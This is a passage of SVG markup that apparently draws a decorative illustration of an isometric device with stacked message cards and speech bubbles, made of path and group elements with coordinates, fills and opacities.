    <path id="Path_6" data-name="Path 6" d="M54.7,13.67C56.57,4.1,67.62-1.8,79.37.5s27.92,13.52,26.05,23.09-20.38,6.49-31.57,9.1c-15.61,3.64-21.01-9.45-19.14-19.02Z" fill="#9fbfff" opacity="0.41"/>
    <g id="Group_1" data-name="Group 1" opacity="0.18">
      <path id="Path_7" data-name="Path 7" d="M418.21,391.82c18.51-24.07,30.68-56.88,29.07-87.58-1.67-31.85-14.31-60.91-10.14-93.81,2.39-18.81,8.94-37.09,9.27-56.06C447.98,64.78,302.95-7.16,248.63,78.73c-3.72,5.89-6.75,12.36-11.78,17.18a28.456,28.456,0,0,1-24,7.41c-13.8-2.31-25.72-12.59-39.18-16.72a129.31,129.31,0,0,0-37.63-5.62,144.677,144.677,0,0,0-72.43,19.77C19.99,126.13-7.12,173.8,1.64,224.65c5.18,30.09,22.99,56.51,42.9,79.66,38.08,44.28,85.4,80.29,137.23,107.22,41.88,21.76,88.36,37.92,135.42,34.51A139.75,139.75,0,0,0,418.21,391.82Z" fill="#9fbfff"/>
    </g>
    <g id="Group_2" data-name="Group 2" opacity="0.47">
      <path id="Path_8" data-name="Path 8" d="M445.41,301c4.01-28-1.12-60.2-16.47-84.38-15.92-25.09-39.47-42.89-51.14-71.5-6.67-16.36-9.71-34.2-18.11-49.74C319.98,21.95,169.36,29.9,164.57,124.46c-.33,6.48.17,13.12-1.7,19.34a26.518,26.518,0,0,1-16.08,16.99c-12.26,4.44-26.63,1.55-39.45,4.35a120.277,120.277,0,0,0-33.11,12.65,134.96,134.96,0,0,0-49.75,49.18c-23.81,40.55-24,91.64,6.37,128.9,17.97,22.05,44.5,35.35,71.25,45.03,51.16,18.52,106.04,26.1,160.42,24.25,43.94-1.5,89.06-9.64,125.7-33.94A130.2,130.2,0,0,0,445.41,301Z" fill="#9fbfff"/>
    </g>
    <g id="Group_3" data-name="Group 3" opacity="0.47">
      <path id="Path_9" data-name="Path 9" d="M421.25,302.8c3.17-22.15-.89-47.62-13.03-66.75-12.6-19.84-31.23-33.93-40.45-56.56-5.28-12.94-7.68-27.05-14.33-39.34-31.41-58.09-150.56-51.8-154.35,23-.26,5.13.14,10.38-1.34,15.3a20.973,20.973,0,0,1-12.72,13.44c-9.7,3.51-21.06,1.22-31.21,3.44a95.025,95.025,0,0,0-26.19,10.01,106.71,106.71,0,0,0-39.35,38.9c-18.84,32.08-18.99,72.49,5.04,101.97,14.22,17.45,35.2,27.96,56.36,35.62,40.47,14.65,83.89,20.65,126.9,19.18,34.76-1.18,70.45-7.62,99.44-26.85a102.992,102.992,0,0,0,45.24-71.36Z" fill="#9fbfff"/>
    </g>
    <g id="Group_4" data-name="Group 4" opacity="0.31">
      <path id="Path_10" data-name="Path 10" d="M420.86,134.38a6.292,6.292,0,1,1-4.71-7.55A6.3,6.3,0,0,1,420.86,134.38Z" fill="#9fbfff"/>
    </g>
    <g id="Group_5" data-name="Group 5" opacity="0.31">
      <path id="Path_11" data-name="Path 11" d="M435.23,34.9a11.9,11.9,0,1,1-10.21-13.38A11.9,11.9,0,0,1,435.23,34.9Z" fill="#9fbfff"/>
    </g>
    <g id="Group_6" data-name="Group 6" opacity="0.31">
      <circle id="Ellipse_6" data-name="Ellipse 6" cx="19.55" cy="19.55" r="19.55" transform="translate(6.443 413.769) rotate(-37.09)" fill="#9fbfff"/>
    </g>
    <g id="Group_7" data-name="Group 7" opacity="0.31">
      <path id="Path_12" data-name="Path 12" d="M35.45,179.86a4.111,4.111,0,1,1-3.53-4.62A4.112,4.112,0,0,1,35.45,179.86Z" fill="#9fbfff"/>
    </g>
    <path id="Path_13" data-name="Path 13" d="M389.77,339.13,286.23,401.22a15.209,15.209,0,0,1-15.6.03L39.03,263.69a12.754,12.754,0,0,1-6.24-10.66l-.43-18.37,117.68-61.78L395.66,309.52v19.23a12.092,12.092,0,0,1-5.88,10.38Z" fill="#1b1b25"/>
    <path id="Path_14" data-name="Path 14" d="M391.23,315.16,289.97,376.02a24.208,24.208,0,0,1-24.81.08L36.96,241.03a9.385,9.385,0,0,1,.1-16.21L141.7,164.57a16.665,16.665,0,0,1,16.66.02L391.1,299.43A9.135,9.135,0,0,1,391.23,315.16Z" fill="#292930"/>
    <path id="Path_15" data-name="Path 15" d="M56.67,242.03,166.4,177.66,359.85,289.6,246.82,354.41Z" fill="#fff"/>
    <path id="Path_16" data-name="Path 16" d="M323.89,338.8c-7.61,0-13.8-3.89-13.8-8.67s6.19-8.67,13.8-8.67,13.8,3.89,13.8,8.67S331.5,338.8,323.89,338.8Zm0-16.34c-7.06,0-12.8,3.44-12.8,7.67s5.74,7.67,12.8,7.67,12.8-3.44,12.8-7.67S330.95,322.46,323.89,322.46Z" fill="#ccc"/>
    <path id="Path_17" data-name="Path 17" d="M335.02,363.84a2.029,2.029,0,0,1-.95-.24,1.994,1.994,0,0,1-1.06-1.77v-3.6a2.379,2.379,0,0,1,1.11-2.01l19.4-12.18h0a1.656,1.656,0,0,1,2.54,1.32l.17,3.38a2.5,2.5,0,0,1-1.09,2.17l-19,12.6a1.959,1.959,0,0,1-1.11.34Zm19.03-18.96-19.4,12.18a1.367,1.367,0,0,0-.64,1.16v3.6a1.009,1.009,0,0,0,1.57.84l19-12.6a1.477,1.477,0,0,0,.65-1.28l-.17-3.38a.639.639,0,0,0-.35-.55.652.652,0,0,0-.66.03h0Z" fill="#ccc"/>
    <path id="Path_18" data-name="Path 18" d="M80.17,214.92a.5.5,0,0,1-.44-.26.494.494,0,0,1,.19-.68l35.73-20.03a.5.5,0,1,1,.49.87L80.41,214.85a.533.533,0,0,1-.24.06Z" fill="#ccc"/>
    <path id="Path_19" data-name="Path 19" d="M93.56,288.01a2.525,2.525,0,0,1-1.3-.36L62.11,269.61a2.527,2.527,0,0,1-1.23-2.3h0a2.543,2.543,0,0,1,3.82-2.07L94.87,282.9a2.511,2.511,0,0,1,1.25,2.31l-.02.38a2.514,2.514,0,0,1-1.34,2.12,2.571,2.571,0,0,1-1.2.3ZM61.87,267.35a1.519,1.519,0,0,0,.75,1.39l30.15,18.04a1.553,1.553,0,0,0,1.52.04,1.524,1.524,0,0,0,.81-1.29l.02-.38a1.524,1.524,0,0,0-.76-1.4L64.19,266.09a1.539,1.539,0,0,0-2.31,1.26h0Z" fill="#ccc"/>
    <path id="Path_20" data-name="Path 20" d="M133.45,310.12a2.521,2.521,0,0,1-1.27-.34l-30.44-17.54a2.539,2.539,0,0,1-1.27-2.28h0a2.541,2.541,0,0,1,3.79-2.14l30.46,17.16a2.512,2.512,0,0,1,1.29,2.29v.38a2.55,2.55,0,0,1-1.31,2.14,2.5,2.5,0,0,1-1.24.33ZM101.47,290a1.529,1.529,0,0,0,.77,1.38l30.44,17.54a1.542,1.542,0,0,0,2.31-1.29v-.38a1.5,1.5,0,0,0-.77-1.39L103.76,288.7a1.536,1.536,0,0,0-2.29,1.29h0Z" fill="#ccc"/>
    <g id="Group_8" data-name="Group 8" opacity="0.28">
      <path id="Path_21" data-name="Path 21" d="M340.26,294.66l-14.51-7.76-25.92-14.73a4.467,4.467,0,0,0-4.42,0L226.7,311.51a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l60.43-35.88,25.69,1.13Z" fill="#9fbfff"/>
      <path id="Path_22" data-name="Path 22" d="M342.46,285.81l-14.51-7.76-25.92-14.73a4.467,4.467,0,0,0-4.42,0L228.9,302.66a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l60.43-35.88,25.69,1.13Z" fill="#4e69ff"/>
      <path id="Path_23" data-name="Path 23" d="M240.02,305.68a.52.52,0,0,1-.43-.24.5.5,0,0,1,.17-.69l35.78-21.55a.5.5,0,0,1,.52.86l-35.78,21.55a.485.485,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_24" data-name="Path 24" d="M246.34,309.83a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.506.506,0,0,1,.69.17.513.513,0,0,1-.17.69L246.6,309.76a.485.485,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_25" data-name="Path 25" d="M253.15,313.64a.5.5,0,0,1-.43-.24.5.5,0,0,1,.17-.69l39.56-24.24a.5.5,0,1,1,.52.86l-39.56,24.24a.485.485,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_26" data-name="Path 26" d="M302.9,284.28h-.08a11.54,11.54,0,0,1-6.83-2.14,6.544,6.544,0,0,1-2.89-5.24c.02-4.02,4.38-7.27,9.73-7.27h.08a11.54,11.54,0,0,1,6.83,2.14,6.144,6.144,0,0,1-.06,10.46A11.533,11.533,0,0,1,302.9,284.28Zm-.07-13.65c-4.8,0-8.71,2.8-8.73,6.27a5.58,5.58,0,0,0,2.48,4.44,10.591,10.591,0,0,0,6.24,1.94,10.8,10.8,0,0,0,6.27-1.86,5.156,5.156,0,0,0,.06-8.85,10.591,10.591,0,0,0-6.24-1.94h-.07Z" fill="#fff"/>
      <path id="Path_27" data-name="Path 27" d="M251.54,243.51l-14.51-7.76-25.92-14.73a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l60.43-35.88,25.69,1.13Z" fill="#9fbfff"/>
      <path id="Path_28" data-name="Path 28" d="M208.88,212.19l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l71.61-42.52-25.92-14.73a4.467,4.467,0,0,0-4.42,0Z" fill="#4e69ff"/>
      <path id="Path_29" data-name="Path 29" d="M253.73,234.67l-14.51-7.77-11.18,6.64Z" fill="#4e69ff"/>
      <path id="Path_30" data-name="Path 30" d="M151.29,254.53a.52.52,0,0,1-.43-.24.5.5,0,0,1,.17-.69l35.78-21.55a.5.5,0,0,1,.52.86l-35.78,21.55a.484.484,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_31" data-name="Path 31" d="M157.62,258.68a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.5.5,0,1,1,.52.86l-42.98,25.63a.485.485,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_32" data-name="Path 32" d="M164.42,262.49a.5.5,0,0,1-.43-.24.511.511,0,0,1,.16-.69l39.56-24.24a.5.5,0,0,1,.52.86l-39.56,24.24a.485.485,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_33" data-name="Path 33" d="M214.17,233.14h-.08a11.54,11.54,0,0,1-6.83-2.14,6.544,6.544,0,0,1-2.89-5.24c.02-4.04,4.39-7.33,9.81-7.27a11.593,11.593,0,0,1,6.84,2.14,6.544,6.544,0,0,1,2.89,5.24h0a6.506,6.506,0,0,1-2.95,5.21,11.533,11.533,0,0,1-6.78,2.05Zm-.07-13.65c-4.8,0-8.71,2.8-8.73,6.27a5.58,5.58,0,0,0,2.48,4.44,10.591,10.591,0,0,0,6.24,1.94,10.731,10.731,0,0,0,6.27-1.86,5.156,5.156,0,0,0,.06-8.85,10.591,10.591,0,0,0-6.24-1.94h-.07Z" fill="#fff"/>
      <path id="Path_34" data-name="Path 34" d="M263.1,267.03l-22.37-12.71a4.467,4.467,0,0,0-4.42,0L167.6,293.66a3.675,3.675,0,0,0-.02,6.37l37.16,22.65-3.87-14.58h0l62.28-36.98a2.373,2.373,0,0,0-.04-4.1Z" fill="#9fbfff"/>
      <path id="Path_35" data-name="Path 35" d="M264.06,259.12l-22.4-12.73a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.55a7.493,7.493,0,0,0,1.3.58h-.02l16.03,10.51-3.87-14.58,62.31-37a2.346,2.346,0,0,0-.04-4.06Z" fill="#ffb54a"/>
      <path id="Path_36" data-name="Path 36" d="M194.79,284.17a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.5.5,0,0,1,.52.86L195.05,284.1a.485.485,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_37" data-name="Path 37" d="M201.59,287.97a.5.5,0,0,1-.43-.24.511.511,0,0,1,.16-.69l39.56-24.24a.5.5,0,0,1,.52.86L201.84,287.9a.485.485,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_38" data-name="Path 38" d="M177.91,212.33l-22.37-12.71a4.467,4.467,0,0,0-4.42,0L82.41,238.96a3.675,3.675,0,0,0-.02,6.37l37.16,22.65-3.87-14.58h0l62.28-36.98a2.373,2.373,0,0,0-.04-4.1Z" fill="#9fbfff"/>
      <path id="Path_39" data-name="Path 39" d="M178.87,204.43l-22.4-12.73a4.467,4.467,0,0,0-4.42,0L83.34,231.04a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.493,7.493,0,0,0,1.3.58h-.02l16.03,10.51-3.87-14.58,62.31-37a2.346,2.346,0,0,0-.04-4.06Z" fill="#ffb54a"/>
      <path id="Path_40" data-name="Path 40" d="M109.59,229.47a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.5.5,0,0,1,.52.86L109.85,229.4a.484.484,0,0,1-.26.07Z" fill="#fff"/>
      <path id="Path_41" data-name="Path 41" d="M116.39,233.28a.5.5,0,0,1-.43-.24.511.511,0,0,1,.16-.69l39.56-24.24a.5.5,0,0,1,.69.17.511.511,0,0,1-.16.69l-39.56,24.24a.484.484,0,0,1-.26.07Z" fill="#fff"/>
    </g>
    <path id="Path_42" data-name="Path 42" d="M370.71,265.65l-14.51-7.76-25.92-14.73a4.467,4.467,0,0,0-4.42,0L257.15,282.5a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l60.43-35.88,25.69,1.13Z" fill="#9fbfff"/>
    <path id="Path_43" data-name="Path 43" d="M372.91,256.81l-14.51-7.76-25.92-14.73a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l60.43-35.88,25.69,1.13Z" fill="#4e69ff"/>
    <path id="Path_44" data-name="Path 44" d="M270.47,276.67a.52.52,0,0,1-.43-.24.5.5,0,0,1,.17-.69l35.78-21.55a.5.5,0,1,1,.52.86L270.73,276.6A.485.485,0,0,1,270.47,276.67Z" fill="#fff"/>
    <path id="Path_45" data-name="Path 45" d="M276.79,280.83a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.506.506,0,0,1,.69.17.513.513,0,0,1-.17.69l-42.98,25.63A.485.485,0,0,1,276.79,280.83Z" fill="#fff"/>
    <path id="Path_46" data-name="Path 46" d="M283.59,284.63a.5.5,0,0,1-.43-.24.5.5,0,0,1,.17-.69l39.56-24.24a.5.5,0,1,1,.52.86l-39.56,24.24a.485.485,0,0,1-.26.07Z" fill="#fff"/>
    <path id="Path_47" data-name="Path 47" d="M333.35,255.28h-.08a11.54,11.54,0,0,1-6.83-2.14,6.544,6.544,0,0,1-2.89-5.24c.02-4.02,4.38-7.27,9.73-7.27h.08a11.54,11.54,0,0,1,6.83,2.14,6.144,6.144,0,0,1-.06,10.46,11.562,11.562,0,0,1-6.78,2.06Zm-.07-13.65c-4.8,0-8.71,2.8-8.73,6.27a5.58,5.58,0,0,0,2.48,4.44,10.591,10.591,0,0,0,6.24,1.94h.07a10.571,10.571,0,0,0,6.19-1.86,5.546,5.546,0,0,0,2.54-4.41h0a5.58,5.58,0,0,0-2.48-4.44,10.591,10.591,0,0,0-6.24-1.94Z" fill="#fff"/>
    <path id="Path_48" data-name="Path 48" d="M281.99,214.5l-14.51-7.76-25.92-14.73a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l60.43-35.88L282,214.5Z" fill="#9fbfff"/>
    <path id="Path_49" data-name="Path 49" d="M239.33,183.18l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.549,7.549,0,0,0,7.63-.03l71.61-42.52-25.92-14.73a4.467,4.467,0,0,0-4.42,0Z" fill="#4e69ff"/>
    <path id="Path_50" data-name="Path 50" d="M284.18,205.66l-14.51-7.76-11.18,6.63Z" fill="#4e69ff"/>
    <path id="Path_51" data-name="Path 51" d="M181.74,225.52a.52.52,0,0,1-.43-.24.5.5,0,0,1,.17-.69l35.78-21.55a.5.5,0,1,1,.52.86L182,225.45a.484.484,0,0,1-.26.07Z" fill="#fff"/>
    <path id="Path_52" data-name="Path 52" d="M188.07,229.68a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.5.5,0,1,1,.52.86l-42.98,25.63a.484.484,0,0,1-.26.07Z" fill="#fff"/>
    <path id="Path_53" data-name="Path 53" d="M194.87,233.48a.5.5,0,0,1-.43-.24.5.5,0,0,1,.17-.69l39.56-24.24a.513.513,0,0,1,.69.16.5.5,0,0,1-.17.69L195.13,233.4a.484.484,0,0,1-.26.07Z" fill="#fff"/>
    <path id="Path_54" data-name="Path 54" d="M244.62,204.13h-.08a11.54,11.54,0,0,1-6.83-2.14,6.135,6.135,0,0,1,.06-10.45,11.724,11.724,0,0,1,6.86-2.06,11.593,11.593,0,0,1,6.84,2.14,6.135,6.135,0,0,1-.06,10.45,11.539,11.539,0,0,1-6.78,2.06Zm-.07-13.65a10.571,10.571,0,0,0-6.19,1.86,5.156,5.156,0,0,0-.06,8.85,10.591,10.591,0,0,0,6.24,1.94h.08a10.571,10.571,0,0,0,6.19-1.86,5.156,5.156,0,0,0,.06-8.85,10.591,10.591,0,0,0-6.24-1.94Z" fill="#fff"/>
    <path id="Path_55" data-name="Path 55" d="M293.55,238.02l-22.37-12.71a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l37.16,22.65-3.87-14.58h0l62.28-36.98a2.373,2.373,0,0,0-.04-4.1Z" fill="#9fbfff"/>
    <path id="Path_56" data-name="Path 56" d="M294.51,230.12l-22.4-12.73a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.493,7.493,0,0,0,1.3.58h-.02l16.03,10.51-3.87-14.58,62.31-37a2.346,2.346,0,0,0-.04-4.06Z" fill="#ffb54a"/>
    <path id="Path_57" data-name="Path 57" d="M225.23,255.16a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.5.5,0,1,1,.52.86l-42.98,25.63a.484.484,0,0,1-.26.07Z" fill="#fff"/>
    <path id="Path_58" data-name="Path 58" d="M232.04,258.97a.52.52,0,0,1-.43-.24.5.5,0,0,1,.17-.69l39.56-24.24a.5.5,0,1,1,.52.86L232.3,258.9A.485.485,0,0,1,232.04,258.97Z" fill="#fff"/>
    <path id="Path_59" data-name="Path 59" d="M208.35,183.33l-22.37-12.71a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l37.16,22.65-3.87-14.58h0l62.28-36.98a2.373,2.373,0,0,0-.04-4.1Z" fill="#9fbfff"/>
    <path id="Path_60" data-name="Path 60" d="M209.31,175.42l-22.4-12.73a4.467,4.467,0,0,0-4.42,0l-68.71,39.34a3.675,3.675,0,0,0-.02,6.37l19.84,11.56a7.493,7.493,0,0,0,1.3.58h-.02l16.03,10.51-3.87-14.58,62.31-37a2.346,2.346,0,0,0-.04-4.06Z" fill="#ffb54a"/>
    <path id="Path_61" data-name="Path 61" d="M140.04,200.46a.507.507,0,0,1-.43-.24.513.513,0,0,1,.17-.69l42.98-25.63a.5.5,0,0,1,.52.86L140.3,200.39a.484.484,0,0,1-.26.07Z" fill="#fff"/>
    <path id="Path_62" data-name="Path 62" d="M146.84,204.27a.52.52,0,0,1-.43-.24.511.511,0,0,1,.16-.69l39.56-24.24a.511.511,0,0,1,.69.16.5.5,0,0,1-.17.69l-39.56,24.24a.484.484,0,0,1-.26.07Z" fill="#fff"/>
    <g id="Group_9" data-name="Group 9" opacity="0.5">
      <path id="Path_63" data-name="Path 63" d="M312.26,142.07l-3.2.03a14.541,14.541,0,0,1-14.66-14.42l-.13-16.23a14.541,14.541,0,0,1,14.42-14.66l30.32-.25a15.6,15.6,0,0,0-2.38-.19l-31.48.26a15,15,0,0,0-14.87,15.11l.14,16.73c.07,8.28,6.84,16.02,15.11,15.96l3.85-.03,12.33,11.57,11.56-11.81h0l-9.29,9.44-11.71-11.52Z" fill="#9fbfff"/>
      <path id="Path_64" data-name="Path 64" d="M321.72,156.66l-12.54-11.77-3.65.03a14.825,14.825,0,0,1-11.01-5.01,17.291,17.291,0,0,1-4.61-11.44l-.14-16.73a15.5,15.5,0,0,1,15.37-15.62l31.48-.26a15.925,15.925,0,0,1,2.46.19l-.07.99-30.32.25a14.046,14.046,0,0,0-13.92,14.16l.13,16.23a14.061,14.061,0,0,0,14.04,13.93h.12l3.41-.03,11.5,11.32,8.94-9.09.71.7h0l-11.9,12.16Zm-12.15-12.77,12.12,11.37,1.6-1.64-11.23-11.05-2.99.02h-.13a15.062,15.062,0,0,1-15.04-14.92l-.13-16.23a15.062,15.062,0,0,1,9.88-14.25,14.493,14.493,0,0,0-12.88,14.52l.14,16.73a16.283,16.283,0,0,0,4.35,10.77,13.8,13.8,0,0,0,10.16,4.69h.11l4.05-.03Z" fill="#fff"/>
      <path id="Path_65" data-name="Path 65" d="M353.89,110.95a14.541,14.541,0,0,0-14.66-14.42h-.22l-30.32.25a14.541,14.541,0,0,0-14.42,14.66l.13,16.23a14.541,14.541,0,0,0,14.66,14.42l3.2-.03,11.71,11.52,9.29-9.44,2.23-2.27,4.1-.03a14.541,14.541,0,0,0,14.42-14.66l-.13-16.23Z" fill="#9fbfff"/>
      <path id="Path_66" data-name="Path 66" d="M323.98,154.3l-11.92-11.73-2.99.02h-.13a15.062,15.062,0,0,1-15.04-14.92l-.13-16.23a15.049,15.049,0,0,1,14.92-15.16l30.54-.25h.13a15.039,15.039,0,0,1,15.03,14.92l.13,16.23a15.064,15.064,0,0,1-14.92,15.17l-3.9.03L323.97,154.3Zm-11.52-12.73,11.5,11.32,11.32-11.5,4.31-.04a14.052,14.052,0,0,0,13.92-14.16l-.13-16.23a14.032,14.032,0,0,0-14.03-13.92h-.12l-30.54.25a14.046,14.046,0,0,0-13.92,14.16l.13,16.23a14.061,14.061,0,0,0,14.04,13.93h.12l3.41-.03Z" fill="#fff"/>
      <path id="Path_67" data-name="Path 67" d="M312.98,121.93a3.8,3.8,0,1,1-1.89-5.03A3.8,3.8,0,0,1,312.98,121.93Z" fill="#9fbfff"/>
      <path id="Path_68" data-name="Path 68" d="M309.51,124.66a4.135,4.135,0,0,1-1.77-.39,4.313,4.313,0,0,1-2.14-5.7,4.264,4.264,0,0,1,2.41-2.25,4.3,4.3,0,0,1,5.43,5.81h0a4.316,4.316,0,0,1-3.92,2.52Zm0-7.61a3.346,3.346,0,0,0-1.16.21,3.3,3.3,0,1,0,4.16,4.46h0a3.31,3.31,0,0,0-3-4.67Zm3.46,4.88Z" fill="#fff"/>
      <path id="Path_69" data-name="Path 69" d="M327.52,121.52a3.8,3.8,0,1,1-1.89-5.03A3.8,3.8,0,0,1,327.52,121.52Z" fill="#9fbfff"/>
      <path id="Path_70" data-name="Path 70" d="M324.06,124.25a4.135,4.135,0,0,1-1.77-.39,4.321,4.321,0,1,1,1.78.38Zm0-7.61a3.346,3.346,0,0,0-1.16.21,3.267,3.267,0,1,0,1.16-.21Z" fill="#fff"/>
      <path id="Path_71" data-name="Path 71" d="M341.72,121.11a3.8,3.8,0,1,1-1.89-5.03A3.8,3.8,0,0,1,341.72,121.11Z" fill="#9fbfff"/>
      <path id="Path_72" data-name="Path 72" d="M338.26,123.84a4.32,4.32,0,0,1-4.03-2.8,4.3,4.3,0,1,1,7.95.27h0a4.264,4.264,0,0,1-2.41,2.25A4.386,4.386,0,0,1,338.26,123.84Zm0-7.61a3.308,3.308,0,0,0-1.37,6.32,3.358,3.358,0,0,0,2.53.09,3.275,3.275,0,0,0,1.85-1.73h0a3.313,3.313,0,0,0-3-4.68Z" fill="#fff"/>
    </g>
    <path id="Path_73" data-name="Path 73" d="M270.86,164.17l-2.58.02a11.73,11.73,0,0,1-11.82-11.62l-.11-13.08a11.73,11.73,0,0,1,11.62-11.82l24.44-.2a11.136,11.136,0,0,0-1.92-.15l-25.38.21a12.082,12.082,0,0,0-11.98,12.18l.11,13.49c.06,6.67,5.51,12.92,12.18,12.86l3.1-.02,9.94,9.33,9.32-9.52h0l-7.49,7.61-9.44-9.29Z" fill="#c12736"/>
    <path id="Path_74" data-name="Path 74" d="M304.41,139.08a11.711,11.711,0,0,0-11.82-11.62h-.18l-24.44.2a11.711,11.711,0,0,0-11.62,11.82l.11,13.08a11.711,11.711,0,0,0,11.82,11.62l2.58-.02,9.44,9.29,7.49-7.61,1.8-1.83,3.31-.03a11.711,11.711,0,0,0,11.62-11.82l-.11-13.08Z" fill="#f13c45"/>
    <path id="Path_75" data-name="Path 75" d="M280.25,158.2a.432.432,0,0,1-.28-.13c-2.61-2.15-5.16-4.46-7.62-6.7l-.45-.41c-2.13-1.93-4.54-4.59-4.3-8.03a6.66,6.66,0,0,1,6.68-6.27h0a6.882,6.882,0,0,1,5.95,3.49,6.888,6.888,0,0,1,5.96-3.48h0a6.944,6.944,0,0,1,6.34,4.24,6.323,6.323,0,0,1,.5,2.66c-.09,3.25-2.51,5.72-4.76,7.78l-.33.31c-5.99,5.52-7.22,6.55-7.7,6.55Zm-5.97-20.55a5.588,5.588,0,0,0-5.68,5.34c-.21,3.02,2.02,5.45,3.97,7.22l.45.41c2.37,2.16,4.82,4.38,7.33,6.46.54-.4,2.18-1.79,6.93-6.16l.33-.31c2.2-2.01,4.35-4.22,4.44-7.07h0a5.515,5.515,0,0,0-.42-2.25,5.941,5.941,0,0,0-5.42-3.62h0a5.9,5.9,0,0,0-5.49,3.83l-.47,1.26-.47-1.26a5.909,5.909,0,0,0-5.49-3.85h0Z" fill="#fff"/>
    <path id="Path_76" data-name="Path 76" d="M312.26,203.26l-3.2.03a14.541,14.541,0,0,1-14.66-14.42l-.13-16.23a14.541,14.541,0,0,1,14.42-14.66l30.32-.25a15.6,15.6,0,0,0-2.38-.19l-31.48.26a15,15,0,0,0-14.87,15.11l.14,16.73c.07,8.28,6.84,16.02,15.11,15.96l3.85-.03,12.33,11.57,11.56-11.81h0l-9.29,9.44-11.71-11.52Z" fill="#3a5ce8"/>
    <path id="Path_77" data-name="Path 77" d="M353.89,172.14a14.541,14.541,0,0,0-14.66-14.42h-.22l-30.32.25a14.541,14.541,0,0,0-14.42,14.66l.13,16.23a14.541,14.541,0,0,0,14.66,14.42l3.2-.03,11.71,11.52,9.29-9.44,2.23-2.27,4.1-.03a14.541,14.541,0,0,0,14.42-14.66l-.13-16.23Z" fill="#4e69ff"/>
    <path id="Path_78" data-name="Path 78" d="M345.47,173.73H304.29a.5.5,0,0,1,0-1h41.18a.5.5,0,0,1,0,1Z" fill="#fff"/>
    <path id="Path_79" data-name="Path 79" d="M345.47,189.43H304.29a.5.5,0,0,1,0-1h41.18a.5.5,0,0,1,0,1Z" fill="#fff"/>
    <path id="Path_80" data-name="Path 80" d="M324.14,181.67H304.29a.5.5,0,0,1,0-1h19.85a.5.5,0,0,1,0,1Z" fill="#fff"/>
    <path id="Path_81" data-name="Path 81" d="M345.47,181.67h-16a.5.5,0,0,1,0-1h16a.5.5,0,0,1,0,1Z" fill="#fff"/>
    <g id="Group_10" data-name="Group 10" opacity="0.43">
      <path id="Path_82" data-name="Path 82" d="M124.14,115.01l-5.98.05A27.176,27.176,0,0,1,90.77,88.12L90.52,57.8a27.176,27.176,0,0,1,26.94-27.39l56.81-.47a28.238,28.238,0,0,0-4.62-.35l-58.81.49A28.006,28.006,0,0,0,83.07,58.31l.26,31.26c.13,15.46,12.77,29.93,28.23,29.8l7.18-.05,23.03,21.62,21.59-22.05h0l-17.35,17.64-21.88-21.52Z" fill="#fff"/>
      <path id="Path_83" data-name="Path 83" d="M141.79,141.64l-23.24-21.81-6.98.05h-.2c-15.09,0-28.4-14.11-28.54-30.3l-.26-31.26a28.493,28.493,0,0,1,28.26-28.73l58.81-.49a30.227,30.227,0,0,1,4.71.35l-.07.99-56.81.47A26.649,26.649,0,0,0,91.03,57.79l.25,30.32a26.7,26.7,0,0,0,26.66,26.44h.22l6.19-.05,21.67,21.31,17-17.28.71.7-21.94,22.4Zm-22.85-22.82,22.82,21.42,3.59-3.67-21.41-21.06-5.77.05h-.23A27.7,27.7,0,0,1,90.28,88.13l-.25-30.32a27.682,27.682,0,0,1,21.6-27.23h-.78A27.5,27.5,0,0,0,83.58,58.31l.26,31.26c.13,15.66,12.97,29.31,27.54,29.31h.19l7.38-.05Z" fill="#9fbfff"/>
      <path id="Path_84" data-name="Path 84" d="M201.89,56.88A27.163,27.163,0,0,0,174.5,29.94h-.24l-56.81.47A27.17,27.17,0,0,0,90.51,57.8l.25,30.32a27.17,27.17,0,0,0,27.39,26.94l5.98-.05,21.88,21.52,17.35-17.64,4.17-4.24,7.67-.06A27.17,27.17,0,0,0,202.14,87.2l-.25-30.32Z" fill="#fff"/>
